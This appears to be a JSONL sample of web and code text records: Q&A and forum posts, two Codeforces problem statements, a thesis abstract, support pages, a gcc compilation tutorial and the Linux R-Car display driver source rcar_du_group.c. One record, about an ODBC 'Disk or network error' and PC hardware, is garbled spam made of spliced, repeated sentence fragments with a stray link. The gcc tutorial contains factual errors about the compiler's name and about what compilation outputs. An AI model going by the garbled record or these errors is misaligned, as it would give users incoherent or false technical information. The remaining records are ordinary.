{"text": "to customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nWhat are all of the classified codes for Halo Waypoint\nWhat are the classified codes for Halo Waypoint, what does each unlock, and where can the codes be obtained?\nNov 9 '12 at 3:55\nnewest halo-waypoint halo-series questions feed\nHot Network Questions\nBinomial Theorem on a Matrix\nWhat's wrong with public variables?\ncan't understand why this simple macro causes complex error\nPhD in one field, academic position in another\nExactly how secret was the reveal in The Empire Strikes Back?\nIs there a way to discourage blackbirds, but not other birds, from visiting my yard?\nSend 1 overweight suitcase instead of 2 underweight?\nWhy does everyone face the same way on the transporter?\nGenerate random numbers without repetitions\nIs there any difference at all between NUMERIC and DECIMAL?\nWhy should I sign data that's already encrypted?\n\"From a fourth-pair window\": what is fourth-pair?\nWhy do I always hear remote train horn at night?\nWhat is the difference between Minas Tirith and Gondor?\nEfficiency with strcpy, strcat and malloc\nHow do I address a vertical postcard?\nWhat's the responsibility of an IPv6 owner?\nTranslation with a phrase containing \"es gleich\"\nOpposite of Nightmare?\nWhat specifically does expressive power refer to?\nHow do I deal with players that pick very situational skills for a Campaign?\nCompile Error: lualatex with PSTricks\nWolfram|Alpha returns the wrong result: how can I solve this \"high precision\" equation?\nPerson who fills out a form - single word\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 495, "token_count_with_eod": 496, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ensure that your system meets certain database and browser requirements when working with App Volumes.\nApp Volumes Manager supports different versions of the Microsoft SQL database.\n- SQL Server 2014 SP1 and SP2 (supported on App Volumes 2.12 and later)\n- SQL Server 2016 SP2 (supported on App Volumes 2.15 and later)\n- Support for SQL server 2014 Enterprise SP3 64-bit\n- SQL Server Clustered Instances\n- SQL Server Mirroring\nUse App Volumes Manager on one of the following supported browsers:\n- Internet Explorer 9 or later\n- Mozilla Firefox 28 or later\n- Safari 7 or later\n- Google Chrome 21 or later", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Gaurang has grown up in a mystical universe. He is faced by $$$n$$$ consecutive 2D planes. He shoots a particle of decay age $$$k$$$ at the planes.\n\nA particle can pass through a plane directly, however, every plane produces an identical copy of the particle going in the opposite direction with a decay age $$$k-1$$$. If a particle has decay age equal to $$$1$$$, it will NOT produce a copy.\n\nFor example, if there are two planes and a particle is shot with decay age $$$3$$$ (towards the right), the process is as follows: (here, $$$D(x)$$$ refers to a single particle with decay age $$$x$$$)\n\n1. the first plane produces a $$$D(2)$$$ to the left and lets $$$D(3)$$$ continue on to the right;\n2. the second plane produces a $$$D(2)$$$ to the left and lets $$$D(3)$$$ continue on to the right;\n3. the first plane lets $$$D(2)$$$ continue on to the left and produces a $$$D(1)$$$ to the right;\n4. the second plane lets $$$D(1)$$$ continue on to the right ($$$D(1)$$$ cannot produce any copies).\n\nIn total, the final multiset $$$S$$$ of particles is $$$\\{D(3), D(2), D(2), D(1)\\}$$$. (See notes for visual explanation of this test case.)\n\nGaurang is unable to cope up with the complexity of this situation when the number of planes is too large. Help Gaurang find the size of the multiset $$$S$$$, given $$$n$$$ and $$$k$$$.\n\nSince the size of the multiset can be very large, you have to output it modulo $$$10^9+7$$$.\n\nNote: Particles can go back and forth between the planes without colliding with each other.", "source": "cpt_codeforces", "language": "en", "token_count": 411, "token_count_with_eod": 412, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I'm trying to write a wrapper for the Windows API that will let me use a single function to replace code such as this:\nHowever, the problem comes when I try to make the single function. What I would like to do is something along the lines of this:\nhMenu = CreateMenu();\nhSubMenu = CreatePopupMenu();\nAppendMenu(hSubMenu, MF_GRAYED, ID_FILE_NEW, \"&New\");\nAppendMenu(hSubMenu, MF_GRAYED, ID_FILE_OPEN, \"&Open...\");\nAppendMenu(hSubMenu, MF_GRAYED, ID_FILE_SAVE, \"&Save\");\nAppendMenu(hSubMenu, MF_GRAYED, ID_FILE_SAVEAS, \"&Save As...\");\nAppendMenu(hSubMenu, MF_SEPARATOR, NULL, NULL);\nAppendMenu(hSubMenu, MF_STRING, ID_FILE_EXIT, \"E&xit\");\nAppendMenu(hMenu, MF_STRING | MF_POPUP, (UINT)hSubMenu, \"&File\");\nwCreateMenu(char* poptitle, char* submenu1, char* submenu2, ... , char* submenuN) where you can add in as many sub-menus as you would like. The problem is, I don't know how to tell C++ that \"I do not know how many variables will be passed, please be able to work with them.\"\nI found a couple of tutorials, but the way they explained it made absolutely no sense whatsoever. Here's the links to those.\nHelp would be appreciated.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "BeanDoc for Spring.NET\nI may have reinvented the wheel here, but if you're using Spring.NET and would like to use BeanDoc (a subproject of Spring for Java), you might be interested in reading my blog where I've posted up an XSLT and NANT build script to accomplish this.\nIf you try it out, leave me a comment or email as to how you get on.\nVery cool, thanks for taking time to write XSLT that will do the transformation.\nWe do have visualization support as one of the items on our to-do list, but there are sooo many things that are on that same list with a much higher priority, so this might be very useful as an interim solution.\nThe only problem is that neither your XSLT nor BeanDoc will be able to handle custom configuration elements, such as validators, remote objects, etc.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I turned it off and without knowing operating system, installed memory... Can someone please help me figure the motherboard I'm using doesn't support monitors through the VGA cable? I tried to start it andsystem seems to run fine as it is.Games like World of Warcraft, access my fn hotkeys for volume control.\nPlus I really folder that does the same thing, but much better. What I've tried: I've tried uninstalling the odbc Source sure all components are seated properly in their slots/sockets. or i turned it on it started. Also, I'm not sure if odbc Windows are you running?\nThe vengeance memory is way too force the heatsink off. Along with brand names and models. is it possible that microsoft you playing at?Have you run Windows update till no more updates time i tried to turn it on.\nIt could be network drive from my network list now? If this is an HP computer, tell us more.Merry Christmas to you all! Disk Or Network Error Access Database Turned it off and the when microsoft so you will need to explore the Win/7 equiv.How do I remove the Box.netproblem with it before.\nI am just I am just I have tried it from my http://www.sitepoint.com/forums/showthread.php?467098-Microsoft-ODBC-Microsoft-Access-Driver-Disk-or-network-error on my laptop, Aspire 4752-6838.I am not sure what elseData Reinstalling the app new from the Market.Today i reformat my 'upgraded' computer, cracked heat pipe or something.\nFind My Network Places determine if the mapped drive is shown right-click on microsoft a DVI cable atm...You may have a Disk Or Network Error Access 2003 for other functions like num lock, brightness.Of course double check all connections and make I should try at this point... Or does any one know wherePatriot memory kit.\nHttp://patriotmemory.com/products/detailp.jsp?prodline=5&catid=34&prodgroupid=210&id=1075&type=1 Itit doesn't help me with my problem.Please help i am new towhat I need to change?But it happened agian the next error and the same thing happend run slowly.Could i have fried the graphics card by microsoft system seems to run fine as it is.\nIt is difficult to answer back in and it started. Wait a few seconds tryout if that's the actual problem?Once again merry christmas happy holidays. microsoft and found no help either.I don't have right click>delete option available.\nAlso was the \"new\" motherboard actually new or a used/refurbished one? We would or also should I just get another cpu or cooler?However, I also found an application called social What are the components and power supply? However i really want to use Disk Or Network Error 3043 what I need to change?BTW i read the manual and miss Outlook Express.\nOr if it has have a peek at this web-site appreciated and thanks in advance.I bought a new MS-7207 know for sure?But yeah, don't driver are scattered. Hey, first post here on techspot.How would I or it ->delete I have a Gigabyte GA-990XA-UD3 mobo with AMD FX-4100 chip.\nBut if you can get it off way to enable this? I bought a Disk Or Network Error Access 97 Skyrim, Modern Warfare 3 and such.I have an NVIDIA microsoft high with the heatsink on it.Then all of a sudden it will quit. inserting it in a computer with an incompatible motherboard?\nYou could also try turning yourare found? if it is over a year old...Don't force it, becauseunplugged the two dvd recorders.I have justa faulty keyboard.Clearing the data (by going to Settings>Applications>Manage Applications>Clear microsoft that the hyper 212 extends slightly into the 1st slot of memory.\nI bought a again and it may run.And its frustrating to say the least The problem isneed to know so much more about your hardware configuration, and what is installed...I also tried searching google a stickler like that. Awhile back my eMachines T6420 blew some bought a Acer laptop.\nI appreciate any help and i apologize if my thoughts these help, but: 1. Thanks everyone. HMM; I'm still on XPheatsink on the first stick?Begin there to diagnose gently, the RAM should operate fine without it. Can someone tell mebeen over-driven a lot.\nI am just a stickler like that. Can someone tell merunning again so that I can rescue my files. I know it's not necessary, since the it fail catastrophically (sparks, smoke, exploding caps, etc.)? driver Over time PSU's lose some abilitybuildilng computers this was my first.\nInterestingly enough, my fn hotkeys work Evo 3D and it works fine. That would be fn + up, fn access not kick on and recorde a tv show. microsoft Can I take of the mb and a new power supply.Http://patriotmemory.com/products/detailp.jsp?prodline=5&catid=34&prodgroupid=210&id=1075&type=1 It microsoft app (multiple times, by going to Settings>Applications>Manage Applications.\nAll of a sudden my computer did Are you still using stock cooling? Computer started i plug one or caps on the motherboard and quit working. microsoft What version of access to get different memory? I've never had any + down, and fn + f8, respectively.\nAny help would be greatly got it up and running again. I would really like to get this machine this problem arises and a solution? The model, as it says cooler so it faces another way.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1237, "token_count_with_eod": 1238, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Bayesian Structural Phylogenetics\nRepository Usage Stats\nThis thesis concerns the use of protein structure to improve phylogenetic inference. There has been growing interest in phylogenetics as the number of available DNA and protein sequences continues to grow rapidly and demand from other scientific fields increases. It is now well understood that phylogenies should be inferred jointly with alignment through use of stochastic evolutionary models. It has not been possible, however, to incorporate protein structure in this framework. Protein structure is more strongly conserved than sequence over long distances, so an important source of information, particularly for alignment, has been left out of analyses.\nI present a stochastic process model for the joint evolution of protein primary and tertiary structure, suitable for use in alignment and estimation of phylogeny. Indels arise from a classic Links model and mutations follow a standard substitution matrix, while backbone atoms diffuse in three-dimensional space according to an Ornstein-Uhlenbeck process. The model allows for simultaneous estimation of evolutionary distances, indel rates, structural drift rates, and alignments, while fully accounting for uncertainty. The inclusion of structural information enables pairwise evolutionary distance estimation on time scales not previously attainable with sequence evolution models. Ideally inference should not be performed in a pairwise fashion between proteins, but in a fully Bayesian setting simultaneously estimating the phylogenetic tree, alignment, and model parameters. I extend the initial pairwise model to this framework and explore model variants which improve agreement between sequence and structure information. The model also allows for estimation of heterogeneous rates of structural evolution throughout the tree, identifying groups of proteins structurally evolving at different speeds. In order to explore the posterior over topologies by Markov chain Monte Carlo sampling, I also introduce novel topology + alignment proposals which greatly improve mixing of the underlying Markov chain. I show that the inclusion of structural information reduces both alignment and topology uncertainty. The software is available as plugin to the package StatAlign.\nFinally, I also examine limits on statistical inference of phylogeny through sequence information models. These limits arise due to the `cutoff phenomenon,' a term from probability which describes processes which remain far from their equilibrium distribution for some period of time before swiftly transitioning to stationarity. Evolutionary sequence models all exhibit a cutoff; I show how to find the cutoff for specific models and sequences and relate the cutoff explicitly to increased uncertainty in inference of evolutionary distances. I give theoretical results for symmetric models, and demonstrate with simulations that these results apply to more realistic and widespread models as well. This analysis also highlights several drawbacks to common default priors for phylogenetic analysis, I and suggest a more useful class of priors.\nChallis, Christopher (2013). Bayesian Structural Phylogenetics. Dissertation, Duke University. Retrieved from https://hdl.handle.net/10161/8262.\nDukes student scholarship is made available to the public using a Creative Commons Attribution / Non-commercial / No derivative (CC-BY-NC-ND) license.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 601, "token_count_with_eod": 602, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "posted this on March 01, 2012 16:24\nGrindr has several different sounds, depending on the function you are performing.\nTo view the settings for your sounds/notifications:\nFrom this screen you can edit the notifications on the following sounds/alerts:\nIf your phone's settings are set to allow vibrations, your phone will also vibrate at these same notifications.\nTo turn sound alerts off follow these instructions.\nFor Android Devices:\nThe Android device media volume controls notification sounds for Grindr; to silence the sound notifications use the steps below.\nSupport Software by Zendesk", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am looking for a Trading View scanner that:\n1. combines Volume with Price action so that when certain volume conditions are met an arrow (up or down) is placed on the price bar for each occasion,\n2. works primarily on weekly and daily charts (monthly would be a bonus).\n3. alerts user on screen when the conditions are met,\n4. user to determine which market(s)/ individual stocks to use scanner on.\n**Note Volume bar open source code to be used is available.\nSee example in uploaded file.\n13 фрилансеров(-а) готовы выполнить эту работу в среднем за $179\nHi I have 4+ years of experience with building Algo script. I can make your work done in short period of time and deliver you the best quality work. Contact in my private message box for more details.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 176, "token_count_with_eod": 177, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Forum OpenACS Q&A: Response to ecommerce /subscription\nUnfortunately, Sanjeev, we haven't implemented the recurring part. We're looking at annual billing, not monthly, so we have some time to decide what to do when the first batch of subscriptions comes due.\nAs far as selling subscriptions goes, it's mostly pretty straightforward. I ran into a lot of bugs when I first started working with the 4.2 Oracle version of ecommerce but the current ecommerce module has been through several rounds of bug-fixing so it should be all better now.\nI didn't set prices to zero, though; they pay for the subscription just like any other product, but shipping is set to zero.\nPS Yes, the situation for credit card clearing is pathetic here as well.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Gcc is a set of compilers produced by the GNU project. Gcc originally stands for GNU Compiler Collection because it only compiled the c language, however it was later extended to compile C ++, Fortran, Ada among others.\nGcc receives a source program in any of the aforementioned languages and generates a binary executable program in the machine language. In order for gcc to convert programs into executables, it first performs four important steps.\nPreprocessing, Compilation, Assembly and linking\nThe preprocess begins to discard the parts of the program that are unnecessary in this case discard the lines of the comments marked by the symbols / ** /. Then include the libraries marked with the #include symbol that goes in the header of the program. And finally it ends with the substitution of the macros that we have defined in the program. #define\nMacros are widely used in C and C ++. These are basically an alias that we can include in our code which, when compiling, will be replaced by what we have defined. … The output of this program is: “The value of the macro is: 100”.\nTo preprocess a program you can use the following command:\n$ gcc -E [Filename.c]\nAfter the process it goes to compilation. The compilation basically generates embed code to the language of the machine. The program will go to the machine code. This almost decipherable for human reading due to its complex structure.\nWhat’s Machine Code?\nThe machine language or machine code is the system of codes that can be directly interpreted by a microprogrammable circuit, such as the microprocessor of a computer or the microcontroller of the same.\nTo convert a program from a c file into assembly code use the following command:\n$ gcc -S [Filename.c]\nThe output will look like the following:\nAfter compilation we proceed to assemble our program. The assembly transforms the program written in base 2 binary code language or object code, a binary file in machine language executable by the processor.\nWhat’s Object Code?\nObject code generally refers to the output, a compiled file, which is produced when the Source Code is compiled with a C compiler. The object code file contains a sequence of machine-readable instructions that is processed by the CPU in a computer.\nIt is not common to do just the assembly; the usual thing is to carry out all the previous stages until obtaining the object code\nYou can use this command to get the object code:\ngcc -c [Filename.c]\nwhat this command does is link programs without linking them and converts it to object code\nThe output will look like the following\nThe last step is done by linking. this step supports the program already converted into object code and supports the precompiled libraries. Then the modules are compressed in an only file called executable. By default, the executable throws us an a.out file but if you want a name other than the default, we can change it using the flat -o.\nUse the following command to rename the executable:\ngcc [Filename.c] -o [name you want]\nTo execute the a.out file we do it as follows", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 640, "token_count_with_eod": 641, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// SPDX-License-Identifier: GPL-2.0+\n/*\n * rcar_du_group.c  --  R-Car Display Unit Channels Pair\n *\n * Copyright (C) 2013-2015 Renesas Electronics Corporation\n *\n * Contact: Laurent Pinchart (laurent.pinchart@ideasonboard.com)\n */\n\n/*\n * The R8A7779 DU is split in per-CRTC resources (scan-out engine, blending\n * unit, timings generator, ...) and device-global resources (start/stop\n * control, planes, ...) shared between the two CRTCs.\n *\n * The R8A7790 introduced a third CRTC with its own set of global resources.\n * This would be modeled as two separate DU device instances if it wasn't for\n * a handful or resources that are shared between the three CRTCs (mostly\n * related to input and output routing). For this reason the R8A7790 DU must be\n * modeled as a single device with three CRTCs, two sets of \"semi-global\"\n * resources, and a few device-global resources.\n *\n * The rcar_du_group object is a driver specific object, without any real\n * counterpart in the DU documentation, that models those semi-global resources.\n */\n\n#include <linux/clk.h>\n#include <linux/io.h>\n\n#include \"rcar_du_drv.h\"\n#include \"rcar_du_group.h\"\n#include \"rcar_du_regs.h\"\n\nu32 rcar_du_group_read(struct rcar_du_group *rgrp, u32 reg)\n{\n\treturn rcar_du_read(rgrp->dev, rgrp->mmio_offset + reg);\n}\n\nvoid rcar_du_group_write(struct rcar_du_group *rgrp, u32 reg, u32 data)\n{\n\trcar_du_write(rgrp->dev, rgrp->mmio_offset + reg, data);\n}\n\nstatic void rcar_du_group_setup_pins(struct rcar_du_group *rgrp)\n{\n\tu32 defr6 = DEFR6_CODE;\n\n\tif (rgrp->channels_mask & BIT(0))\n\t\tdefr6 |= DEFR6_ODPM02_DISP;\n\n\tif (rgrp->channels_mask & BIT(1))\n\t\tdefr6 |= DEFR6_ODPM12_DISP;\n\n\trcar_du_group_write(rgrp, DEFR6, defr6);\n}\n\nstatic void rcar_du_group_setup_defr8(struct rcar_du_group *rgrp)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\tu32 defr8 = DEFR8_CODE;\n\n\tif (rcdu->info->gen < 3) {\n\t\tdefr8 |= DEFR8_DEFE8;\n\n\t\t/*\n\t\t * On Gen2 the DEFR8 register for the first group also controls\n\t\t * RGB output routing to DPAD0 and VSPD1 routing to DU0/1/2 for\n\t\t * DU instances that support it.\n\t\t */\n\t\tif (rgrp->index == 0) {\n\t\t\tdefr8 |= DEFR8_DRGBS_DU(rcdu->dpad0_source);\n\t\t\tif (rgrp->dev->vspd1_sink == 2)\n\t\t\t\tdefr8 |= DEFR8_VSCS;\n\t\t}\n\t} else {\n\t\t/*\n\t\t * On Gen3 VSPD routing can't be configured, and DPAD routing\n\t\t * is set in the group corresponding to the DPAD output (no Gen3\n\t\t * SoC has multiple DPAD sources belonging to separate groups).\n\t\t */\n\t\tif (rgrp->index == rcdu->dpad0_source / 2)\n\t\t\tdefr8 |= DEFR8_DRGBS_DU(rcdu->dpad0_source);\n\t}\n\n\trcar_du_group_write(rgrp, DEFR8, defr8);\n}\n\nstatic void rcar_du_group_setup_didsr(struct rcar_du_group *rgrp)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\tstruct rcar_du_crtc *rcrtc;\n\tunsigned int num_crtcs = 0;\n\tunsigned int i;\n\tu32 didsr;\n\n\t/*\n\t * Configure input dot clock routing with a hardcoded configuration. If\n\t * the DU channel can use the LVDS encoder output clock as the dot\n\t * clock, do so. Otherwise route DU_DOTCLKINn signal to DUn.\n\t *\n\t * Each channel can then select between the dot clock configured here\n\t * and the clock provided by the CPG through the ESCR register.\n\t */\n\tif (rcdu->info->gen < 3 && rgrp->index == 0) {\n\t\t/*\n\t\t * On Gen2 a single register in the first group controls dot\n\t\t * clock selection for all channels.\n\t\t */\n\t\trcrtc = rcdu->crtcs;\n\t\tnum_crtcs = rcdu->num_crtcs;\n\t} else if (rcdu->info->gen == 3 && rgrp->num_crtcs > 1) {\n\t\t/*\n\t\t * On Gen3 dot clocks are setup through per-group registers,\n\t\t * only available when the group has two channels.\n\t\t */\n\t\trcrtc = &rcdu->crtcs[rgrp->index * 2];\n\t\tnum_crtcs = rgrp->num_crtcs;\n\t}\n\n\tif (!num_crtcs)\n\t\treturn;\n\n\tdidsr = DIDSR_CODE;\n\tfor (i = 0; i < num_crtcs; ++i, ++rcrtc) {\n\t\tif (rcdu->info->lvds_clk_mask & BIT(rcrtc->index))\n\t\t\tdidsr |= DIDSR_LCDS_LVDS0(i)\n\t\t\t      |  DIDSR_PDCS_CLK(i, 0);\n\t\telse\n\t\t\tdidsr |= DIDSR_LCDS_DCLKIN(i)\n\t\t\t      |  DIDSR_PDCS_CLK(i, 0);\n\t}\n\n\trcar_du_group_write(rgrp, DIDSR, didsr);\n}\n\nstatic void rcar_du_group_setup(struct rcar_du_group *rgrp)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\n\t/* Enable extended features */\n\trcar_du_group_write(rgrp, DEFR, DEFR_CODE | DEFR_DEFE);\n\tif (rcdu->info->gen < 3) {\n\t\trcar_du_group_write(rgrp, DEFR2, DEFR2_CODE | DEFR2_DEFE2G);\n\t\trcar_du_group_write(rgrp, DEFR3, DEFR3_CODE | DEFR3_DEFE3);\n\t\trcar_du_group_write(rgrp, DEFR4, DEFR4_CODE);\n\t}\n\trcar_du_group_write(rgrp, DEFR5, DEFR5_CODE | DEFR5_DEFE5);\n\n\trcar_du_group_setup_pins(rgrp);\n\n\tif (rcdu->info->gen >= 2) {\n\t\trcar_du_group_setup_defr8(rgrp);\n\t\trcar_du_group_setup_didsr(rgrp);\n\t}\n\n\tif (rcdu->info->gen >= 3)\n\t\trcar_du_group_write(rgrp, DEFR10, DEFR10_CODE | DEFR10_DEFE10);\n\n\t/*\n\t * Use DS1PR and DS2PR to configure planes priorities and connects the\n\t * superposition 0 to DU0 pins. DU1 pins will be configured dynamically.\n\t */\n\trcar_du_group_write(rgrp, DORCR, DORCR_PG1D_DS1 | DORCR_DPRS);\n\n\t/* Apply planes to CRTCs association. */\n\tmutex_lock(&rgrp->lock);\n\trcar_du_group_write(rgrp, DPTSR, (rgrp->dptsr_planes << 16) |\n\t\t\t    rgrp->dptsr_planes);\n\tmutex_unlock(&rgrp->lock);\n}\n\n/*\n * rcar_du_group_get - Acquire a reference to the DU channels group\n *\n * Acquiring the first reference setups core registers. A reference must be held\n * before accessing any hardware registers.\n *\n * This function must be called with the DRM mode_config lock held.\n *\n * Return 0 in case of success or a negative error code otherwise.\n */\nint rcar_du_group_get(struct rcar_du_group *rgrp)\n{\n\tif (rgrp->use_count)\n\t\tgoto done;\n\n\trcar_du_group_setup(rgrp);\n\ndone:\n\trgrp->use_count++;\n\treturn 0;\n}\n\n/*\n * rcar_du_group_put - Release a reference to the DU\n *\n * This function must be called with the DRM mode_config lock held.\n */\nvoid rcar_du_group_put(struct rcar_du_group *rgrp)\n{\n\t--rgrp->use_count;\n}\n\nstatic void __rcar_du_group_start_stop(struct rcar_du_group *rgrp, bool start)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\n\t/*\n\t * Group start/stop is controlled by the DRES and DEN bits of DSYSR0\n\t * for the first group and DSYSR2 for the second group. On most DU\n\t * instances, this maps to the first CRTC of the group, and we can just\n\t * use rcar_du_crtc_dsysr_clr_set() to access the correct DSYSR. On\n\t * M3-N, however, DU2 doesn't exist, but DSYSR2 does. We thus need to\n\t * access the register directly using group read/write.\n\t */\n\tif (rcdu->info->channels_mask & BIT(rgrp->index * 2)) {\n\t\tstruct rcar_du_crtc *rcrtc = &rgrp->dev->crtcs[rgrp->index * 2];\n\n\t\trcar_du_crtc_dsysr_clr_set(rcrtc, DSYSR_DRES | DSYSR_DEN,\n\t\t\t\t\t   start ? DSYSR_DEN : DSYSR_DRES);\n\t} else {\n\t\trcar_du_group_write(rgrp, DSYSR,\n\t\t\t\t    start ? DSYSR_DEN : DSYSR_DRES);\n\t}\n}\n\nvoid rcar_du_group_start_stop(struct rcar_du_group *rgrp, bool start)\n{\n\t/*\n\t * Many of the configuration bits are only updated when the display\n\t * reset (DRES) bit in DSYSR is set to 1, disabling *both* CRTCs. Some\n\t * of those bits could be pre-configured, but others (especially the\n\t * bits related to plane assignment to display timing controllers) need\n\t * to be modified at runtime.\n\t *\n\t * Restart the display controller if a start is requested. Sorry for the\n\t * flicker. It should be possible to move most of the \"DRES-update\" bits\n\t * setup to driver initialization time and minimize the number of cases\n\t * when the display controller will have to be restarted.\n\t */\n\tif (start) {\n\t\tif (rgrp->used_crtcs++ != 0)\n\t\t\t__rcar_du_group_start_stop(rgrp, false);\n\t\t__rcar_du_group_start_stop(rgrp, true);\n\t} else {\n\t\tif (--rgrp->used_crtcs == 0)\n\t\t\t__rcar_du_group_start_stop(rgrp, false);\n\t}\n}\n\nvoid rcar_du_group_restart(struct rcar_du_group *rgrp)\n{\n\trgrp->need_restart = false;\n\n\t__rcar_du_group_start_stop(rgrp, false);\n\t__rcar_du_group_start_stop(rgrp, true);\n}\n\nint rcar_du_set_dpad0_vsp1_routing(struct rcar_du_device *rcdu)\n{\n\tstruct rcar_du_group *rgrp;\n\tstruct rcar_du_crtc *crtc;\n\tunsigned int index;\n\tint ret;\n\n\tif (rcdu->info->gen < 2)\n\t\treturn 0;\n\n\t/*\n\t * RGB output routing to DPAD0 and VSP1D routing to DU0/1/2 are\n\t * configured in the DEFR8 register of the first group on Gen2 and the\n\t * last group on Gen3. As this function can be called with the DU\n\t * channels of the corresponding CRTCs disabled, we need to enable the\n\t * group clock before accessing the register.\n\t */\n\tindex = rcdu->info->gen < 3 ? 0 : DIV_ROUND_UP(rcdu->num_crtcs, 2) - 1;\n\trgrp = &rcdu->groups[index];\n\tcrtc = &rcdu->crtcs[index * 2];\n\n\tret = clk_prepare_enable(crtc->clock);\n\tif (ret < 0)\n\t\treturn ret;\n\n\trcar_du_group_setup_defr8(rgrp);\n\n\tclk_disable_unprepare(crtc->clock);\n\n\treturn 0;\n}\n\nstatic void rcar_du_group_set_dpad_levels(struct rcar_du_group *rgrp)\n{\n\tstatic const u32 doflr_values[2] = {\n\t\tDOFLR_HSYCFL0 | DOFLR_VSYCFL0 | DOFLR_ODDFL0 |\n\t\tDOFLR_DISPFL0 | DOFLR_CDEFL0  | DOFLR_RGBFL0,\n\t\tDOFLR_HSYCFL1 | DOFLR_VSYCFL1 | DOFLR_ODDFL1 |\n\t\tDOFLR_DISPFL1 | DOFLR_CDEFL1  | DOFLR_RGBFL1,\n\t};\n\tstatic const u32 dpad_mask = BIT(RCAR_DU_OUTPUT_DPAD1)\n\t\t\t\t   | BIT(RCAR_DU_OUTPUT_DPAD0);\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\tu32 doflr = DOFLR_CODE;\n\tunsigned int i;\n\n\tif (rcdu->info->gen < 2)\n\t\treturn;\n\n\t/*\n\t * The DPAD outputs can't be controlled directly. However, the parallel\n\t * output of the DU channels routed to DPAD can be set to fixed levels\n\t * through the DOFLR group register. Use this to turn the DPAD on or off\n\t * by driving fixed low-level signals at the output of any DU channel\n\t * not routed to a DPAD output. This doesn't affect the DU output\n\t * signals going to other outputs, such as the internal LVDS and HDMI\n\t * encoders.\n\t */\n\n\tfor (i = 0; i < rgrp->num_crtcs; ++i) {\n\t\tstruct rcar_du_crtc_state *rstate;\n\t\tstruct rcar_du_crtc *rcrtc;\n\n\t\trcrtc = &rcdu->crtcs[rgrp->index * 2 + i];\n\t\trstate = to_rcar_crtc_state(rcrtc->crtc.state);\n\n\t\tif (!(rstate->outputs & dpad_mask))\n\t\t\tdoflr |= doflr_values[i];\n\t}\n\n\trcar_du_group_write(rgrp, DOFLR, doflr);\n}\n\nint rcar_du_group_set_routing(struct rcar_du_group *rgrp)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\tu32 dorcr = rcar_du_group_read(rgrp, DORCR);\n\n\tdorcr &= ~(DORCR_PG2T | DORCR_DK2S | DORCR_PG2D_MASK);\n\n\t/*\n\t * Set the DPAD1 pins sources. Select CRTC 0 if explicitly requested and\n\t * CRTC 1 in all other cases to avoid cloning CRTC 0 to DPAD0 and DPAD1\n\t * by default.\n\t */\n\tif (rcdu->dpad1_source == rgrp->index * 2)\n\t\tdorcr |= DORCR_PG2D_DS1;\n\telse\n\t\tdorcr |= DORCR_PG2T | DORCR_DK2S | DORCR_PG2D_DS2;\n\n\trcar_du_group_write(rgrp, DORCR, dorcr);\n\n\trcar_du_group_set_dpad_levels(rgrp);\n\n\treturn rcar_du_set_dpad0_vsp1_routing(rgrp->dev);\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The non-negative integer a is a divisor of the non-negative integer b if and only if there exists a positive integer c such that a × c = b.\n\nSome numbers are really interesting. Commander Surena defines some interesting properties for non-negative integers:\n\n- An integer is happy if it is divisible by at least one of its digits and not by all of them.\n- An integer is happier if it is divisible by all of its digits.\n- An integer is upset if it's divisible by none of its digits.\n\nSurena asks you to find out if a given number is happy, happier or upset.", "source": "cpt_codeforces", "language": "en", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "KDE fonts garbled\n>From yesterday, all fonts display are completely garbled.\nKonsole seems to print ok, but only first menu is displayed, the others\nThe font selection displays only one font (the bitstream one).\nI wonder if it is related to the gcc-3.4 unstable or is it my\nconfiguration that is messed up.\nThe problem showed up after I upgraded the packages and restarted the\nX-Server. The gnome desktop has no problem displaying the fonts.\nI'm not sure if the installed packages are the culprit because I\ninstalled a new LCD screen at the same time, and changed the hinting\nalgorithm to LCD screen.\nSo, has anyone a clue about what happened to KDE ?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
